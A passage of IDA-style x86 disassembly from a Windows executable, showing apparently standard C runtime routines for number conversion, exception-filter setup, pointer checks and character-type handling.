arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx


loc_416DD8:				; CODE XREF: sub_416DD2+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_416DEA
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_416DD8
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_416DEA:				; CODE XREF: sub_416DD2+9j
		xor	eax, eax
		retn
sub_416DD2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416DED	proc near		; CODE XREF: sub_416E7A+C0p
					; sub_416E7A+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi


loc_416E23:				; CODE XREF: sub_416DED+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_416E23
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2


loc_416E55:				; CODE XREF: sub_416DED+86j
		cmp	ebx, edi
		jl	short loc_416E68
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_416E6F
; ---------------------------------------------------------------------------


loc_416E68:				; CODE XREF: sub_416DED+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0


loc_416E6F:				; CODE XREF: sub_416DED+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_416E55
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416DED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416E7A	proc near		; CODE XREF: sub_416FE6+Dp
					; sub_416FFC+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_416EE7
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_416DD2
		test	eax, eax
		pop	ecx
		jnz	loc_416FA6
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_416DC6
		pop	ecx


loc_416EDF:				; CODE XREF: sub_416E7A+E4j
		push	2


loc_416EE1:				; CODE XREF: sub_416E7A+110j
		pop	eax
		jmp	loc_416FA8
; ---------------------------------------------------------------------------


loc_416EE7:				; CODE XREF: sub_416E7A+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_416DAB
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_416D1F
		add	esp, 10h
		test	eax, eax
		jz	short loc_416F08
		inc	ebx


loc_416F08:				; CODE XREF: sub_416E7A+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_416F20
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_416DC6
		pop	ecx
		jmp	short loc_416F5C
; ---------------------------------------------------------------------------


loc_416F20:				; CODE XREF: sub_416E7A+98j
		cmp	ebx, eax
		jg	short loc_416F63
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_416DAB
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_416DED
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_416D1F
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_416DED
		add	esp, 20h


loc_416F5C:				; CODE XREF: sub_416E7A+A4j
		xor	esi, esi
		jmp	loc_416EDF
; ---------------------------------------------------------------------------


loc_416F63:				; CODE XREF: sub_416E7A+A8j
		cmp	ebx, [edi]
		jl	short loc_416F8F
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_416DC6
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_416DED
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_416EE1
; ---------------------------------------------------------------------------


loc_416F8F:				; CODE XREF: sub_416E7A+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_416DED
		pop	ecx
		pop	ecx


loc_416FA6:				; CODE XREF: sub_416E7A+55j
		xor	eax, eax


loc_416FA8:				; CODE XREF: sub_416E7A+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_416FD7
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_416FE1
; ---------------------------------------------------------------------------


loc_416FD7:				; CODE XREF: sub_416E7A+14Ej
		cmp	edi, 20h
		jnz	short loc_416FE1
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi


loc_416FE1:				; CODE XREF: sub_416E7A+15Bj
					; sub_416E7A+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416E7A	endp


; =============== S U B	R O U T	I N E =======================================



sub_416FE6	proc near		; CODE XREF: sub_417012+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_4248E0
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_416E7A
		add	esp, 0Ch
		retn
sub_416FE6	endp


; =============== S U B	R O U T	I N E =======================================



sub_416FFC	proc near		; CODE XREF: sub_41703F+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_4248F8
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_416E7A
		add	esp, 0Ch
		retn
sub_416FFC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417012	proc near		; CODE XREF: sub_413395+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4183B4
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_416FE6
		add	esp, 24h
		leave
		retn
sub_417012	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41703F	proc near		; CODE XREF: sub_413395+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4183B4
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_416FFC
		add	esp, 24h
		leave
		retn
sub_41703F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41706C	proc near		; CODE XREF: sub_4133D3+65p
					; sub_4134D7+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_4170A9
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx


loc_41708F:				; CODE XREF: sub_41706C+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_41709B
		movsx	edx, dl
		inc	ecx
		jmp	short loc_41709E
; ---------------------------------------------------------------------------


loc_41709B:				; CODE XREF: sub_41706C+27j
		push	30h
		pop	edx


loc_41709E:				; CODE XREF: sub_41706C+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_41708F
		mov	edx, [ebp+arg_8]


loc_4170A9:				; CODE XREF: sub_41706C+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_4170C2
		cmp	byte ptr [ecx],	35h
		jl	short loc_4170C2


loc_4170B5:				; CODE XREF: sub_41706C+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_4170C0
		mov	byte ptr [eax],	30h
		jmp	short loc_4170B5
; ---------------------------------------------------------------------------


loc_4170C0:				; CODE XREF: sub_41706C+4Dj
		inc	byte ptr [eax]


loc_4170C2:				; CODE XREF: sub_41706C+42j
					; sub_41706C+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_4170CC
		inc	dword ptr [edx+4]
		jmp	short loc_4170DE
; ---------------------------------------------------------------------------


loc_4170CC:				; CODE XREF: sub_41706C+59j
		push	edi
		call	sub_40E730
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_40F480
		add	esp, 10h


loc_4170DE:				; CODE XREF: sub_41706C+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41706C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4170E3	proc near		; CODE XREF: sub_4133D3+3Fp
					; sub_4134D7+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_417147
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_4BA448
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_418885
		mov	dword_4BA470, eax
		add	esp, 18h
		movsx	eax, byte_4BA44A
		mov	dword_4BA468, eax
		pop	edi
		movsx	eax, word_4BA448
		mov	dword_4BA46C, eax
		mov	dword_4BA474, offset dword_4BA44C
		mov	eax, offset dword_4BA468
		pop	esi
		leave
		retn
sub_4170E3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417147	proc near		; CODE XREF: sub_4170E3+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_417195
		cmp	ebx, edi
		jz	short loc_41718E
		lea	edi, [ecx+3C00h]
		jmp	short loc_4171B6
; ---------------------------------------------------------------------------


loc_41718E:				; CODE XREF: sub_417147+3Dj
		mov	edi, 7FFFh
		jmp	short loc_4171B6
; ---------------------------------------------------------------------------


loc_417195:				; CODE XREF: sub_417147+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_4171AD
		cmp	edx, ebx
		jnz	short loc_4171AD
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_4171F8
; ---------------------------------------------------------------------------


loc_4171AD:				; CODE XREF: sub_417147+52j
					; sub_417147+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx


loc_4171B6:				; CODE XREF: sub_417147+45j
					; sub_417147+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx


loc_4171CE:				; CODE XREF: sub_417147+A6j
		test	ecx, esi
		jnz	short loc_4171EF
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_4171CE
; ---------------------------------------------------------------------------


loc_4171EF:				; CODE XREF: sub_417147+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx


loc_4171F8:				; CODE XREF: sub_417147+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417147	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_410C52
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_417206	proc near		; DATA XREF: sub_41724Co
					; .packed:00424200o ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_417229
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_417229
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_417229
		jmp	sub_413F5C
; ---------------------------------------------------------------------------


loc_417229:				; CODE XREF: sub_417206+Dj
					; sub_417206+13j ...
		mov	eax, dword_4BA478
		test	eax, eax
		jz	short loc_417246
		push	eax
		call	sub_4172A2
		test	eax, eax
		pop	ecx
		jz	short loc_417246
		push	esi
		call	dword_4BA478
		jmp	short loc_417248
; ---------------------------------------------------------------------------


loc_417246:				; CODE XREF: sub_417206+2Aj
					; sub_417206+35j
		xor	eax, eax


loc_417248:				; CODE XREF: sub_417206+3Ej
		pop	esi
		retn	4
sub_417206	endp


; =============== S U B	R O U T	I N E =======================================



sub_41724C	proc near		; DATA XREF: .packed:0041C01Co
		push	offset sub_417206
		call	dword_41A02C	; SetUnhandledExceptionFilter
		mov	dword_4BA478, eax
		retn
sub_41724C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41725D	proc near		; DATA XREF: .packed:0041C034o
		push	dword_4BA478
		call	dword_41A02C	; SetUnhandledExceptionFilter
		retn
sub_41725D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41726A	proc near		; CODE XREF: sub_4137AB+6Bp
					; sub_413CBC+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	dword_41A028	; IsBadReadPtr
		test	eax, eax
		jz	short loc_417282
		xor	esi, esi


loc_417282:				; CODE XREF: sub_41726A+14j
		mov	eax, esi
		pop	esi
		retn
sub_41726A	endp


; =============== S U B	R O U T	I N E =======================================



sub_417286	proc near		; CODE XREF: sub_413CBC+73p
					; sub_413CBC+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	dword_41A158	; IsBadWritePtr
		test	eax, eax
		jz	short loc_41729E
		xor	esi, esi


loc_41729E:				; CODE XREF: sub_417286+14j
		mov	eax, esi
		pop	esi
		retn
sub_417286	endp


; =============== S U B	R O U T	I N E =======================================



sub_4172A2	proc near		; CODE XREF: sub_413CBC+15Bp
					; sub_417206+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		call	dword_41A024	; IsBadCodePtr
		test	eax, eax
		jz	short loc_4172B6
		xor	esi, esi


loc_4172B6:				; CODE XREF: sub_4172A2+10j
		mov	eax, esi
		pop	esi
		retn
sub_4172A2	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_413F5C


loc_4172BA:				; CODE XREF: sub_413F5C:loc_413FADj
		push	0Ah
		call	sub_416839
		push	16h
		call	sub_418B18
		pop	ecx
		pop	ecx
		push	3
		call	sub_41084A
; END OF FUNCTION CHUNK	FOR sub_413F5C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4172D1	proc near		; CODE XREF: sub_414309+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_4172F4
		cmp	[ebp+arg_8], ebx
		jz	short loc_4172F4
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_4172FA
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_4172F4
		mov	[eax], bx


loc_4172F4:				; CODE XREF: sub_4172D1+Cj
					; sub_4172D1+11j ...
		xor	eax, eax


loc_4172F6:				; CODE XREF: sub_4172D1+42j
					; sub_4172D1+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4172FA:				; CODE XREF: sub_4172D1+17j
		cmp	dword_4BA314, ebx
		jnz	short loc_417315
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_417310
		movzx	ax, al
		mov	[ecx], ax


loc_417310:				; CODE XREF: sub_4172D1+36j
					; sub_4172D1+C0j
		push	1
		pop	eax
		jmp	short loc_4172F6
; ---------------------------------------------------------------------------


loc_417315:				; CODE XREF: sub_4172D1+2Fj
		mov	ecx, off_424224
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_417372
		mov	eax, dword_424430
		cmp	eax, 1
		jle	short loc_417359
		cmp	[ebp+arg_8], eax
		jl	short loc_417363
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	dword_4BA324
		call	dword_41A064	; MultiByteToWideChar
		test	eax, eax
		mov	eax, dword_424430
		jnz	short loc_4172F6


loc_417359:				; CODE XREF: sub_4172D1+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_417363
		cmp	[esi+1], bl
		jnz	short loc_4172F6


loc_417363:				; CODE XREF: sub_4172D1+61j
					; sub_4172D1+8Bj ...
		mov	dword_4BA284, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_4172F6
; ---------------------------------------------------------------------------


loc_417372:				; CODE XREF: sub_4172D1+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	dword_4BA324
		call	dword_41A064	; MultiByteToWideChar
		test	eax, eax
		jnz	loc_417310
		jmp	short loc_417363
sub_4172D1	endp


; =============== S U B	R O U T	I N E =======================================



sub_417399	proc near		; CODE XREF: sub_414309+76p
					; sub_414309+88p ...

arg_0		= dword	ptr  4

		cmp	dword_424430, 1
		jle	short loc_4173B0
		push	8
		push	[esp+4+arg_0]
		call	sub_414E86
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4173B0:				; CODE XREF: sub_417399+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_424224
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_417399	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4173D0	proc near		; CODE XREF: sub_414309+797p
					; sub_414309+7E7p
		cmp	cl, 40h
		jnb	short loc_4173EA
		cmp	cl, 20h
		jnb	short loc_4173E0
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_4173E0:				; CODE XREF: sub_4173D0+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_4173EA:				; CODE XREF: sub_4173D0+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_4173D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4173EF	proc near		; CODE XREF: sub_414D7F+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_41743B
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_41740D
		test	al, 80h
		jz	short loc_41743B
		test	al, 2
		jnz	short loc_41743B


loc_41740D:				; CODE XREF: sub_4173EF+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_41741A
		push	esi
		call	sub_41698C
		pop	ecx


loc_41741A:				; CODE XREF: sub_4173EF+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_41742A
		cmp	dword ptr [esi+4], 0
		jnz	short loc_41743B
		inc	eax
		mov	[esi], eax


loc_41742A:				; CODE XREF: sub_4173EF+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_417441
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_417447
		inc	eax
		mov	[esi], eax


loc_41743B:				; CODE XREF: sub_4173EF+9j
					; sub_4173EF+18j ...
		or	eax, 0FFFFFFFFh


loc_41743E:				; CODE XREF: sub_4173EF+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_417441:				; CODE XREF: sub_4173EF+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl


loc_417447:				; CODE XREF: sub_4173EF+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_41743E
sub_4173EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41745D	proc near		; CODE XREF: sub_414E86+5Ep
					; sub_415EDF+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41A810
		push	offset sub_416728
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4BA47C
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_4174CC
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_41A500
		push	esi
		call	dword_41A01C	; GetStringTypeW
		test	eax, eax
		jz	short loc_4174AA
		mov	eax, esi
		jmp	short loc_4174C7
; ---------------------------------------------------------------------------


loc_4174AA:				; CODE XREF: sub_41745D+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_424F04
		push	esi
		push	ebx
		call	dword_41A020	; GetStringTypeA
		test	eax, eax
		jz	loc_417592
		push	2
		pop	eax


loc_4174C7:				; CODE XREF: sub_41745D+4Bj
		mov	dword_4BA47C, eax


loc_4174CC:				; CODE XREF: sub_41745D+2Fj
		cmp	eax, 2
		jnz	short loc_4174F5
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_4174DD
		mov	eax, dword_4BA314


loc_4174DD:				; CODE XREF: sub_41745D+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		call	dword_41A020	; GetStringTypeA
		jmp	loc_417594
; ---------------------------------------------------------------------------


loc_4174F5:				; CODE XREF: sub_41745D+72j
		cmp	eax, 1
		jnz	loc_417592
		cmp	[ebp+arg_10], ebx
		jnz	short loc_41750B
		mov	eax, dword_4BA324
		mov	[ebp+arg_10], eax


loc_41750B:				; CODE XREF: sub_41745D+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		call	dword_41A064	; MultiByteToWideChar
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_417592
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_40EC80
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_40E800
		add	esp, 0Ch
		jmp	short loc_417561
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi


loc_417561:				; CODE XREF: sub_41745D+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_417592
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		call	dword_41A064	; MultiByteToWideChar
		cmp	eax, ebx
		jz	short loc_417592
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		call	dword_41A01C	; GetStringTypeW
		jmp	short loc_417594
; ---------------------------------------------------------------------------


loc_417592:				; CODE XREF: sub_41745D+61j
					; sub_41745D+9Bj ...
		xor	eax, eax


loc_417594:				; CODE XREF: sub_41745D+93j
					; sub_41745D+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41745D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4175A6	proc near		; CODE XREF: sub_414EFB+8Ep
					; sub_4151BF+BDp ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	dword_4BA288, ecx
		mov	eax, offset dword_424910


loc_4175B7:				; CODE XREF: sub_4175A6+1Ej
		cmp	ecx, [eax]
		jz	short loc_4175DB
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_424A78
		jl	short loc_4175B7
		cmp	ecx, 13h
		jb	short loc_4175E8
		cmp	ecx, 24h
		ja	short loc_4175E8
		mov	dword_4BA284, 0Dh
		retn
; ---------------------------------------------------------------------------


loc_4175DB:				; CODE XREF: sub_4175A6+13j
		mov	eax, dword_424914[edx*8]
		mov	dword_4BA284, eax
		retn
; ---------------------------------------------------------------------------


loc_4175E8:				; CODE XREF: sub_4175A6+23j
					; sub_4175A6+28j
		cmp	ecx, 0BCh
		jb	short loc_417602
		cmp	ecx, 0CAh
		mov	dword_4BA284, 8
		jbe	short locret_41760C


loc_417602:				; CODE XREF: sub_4175A6+48j
		mov	dword_4BA284, 16h

locret_41760C:				; CODE XREF: sub_4175A6+5Aj
		retn
sub_4175A6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41760D	proc near		; CODE XREF: sub_417827:loc_41799Fp
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_4BB7C0


loc_41761C:				; CODE XREF: sub_41760D+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_417659
		lea	edx, [eax+100h]


loc_417628:				; CODE XREF: sub_41760D+28j
		cmp	eax, edx
		jnb	short loc_417648
		test	byte ptr [eax+4], 1
		jz	short loc_417637
		add	eax, 8
		jmp	short loc_417628
; ---------------------------------------------------------------------------


loc_417637:				; CODE XREF: sub_41760D+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_41769C


loc_417648:				; CODE XREF: sub_41760D+1Dj
		add	ecx, 4
		inc	edi
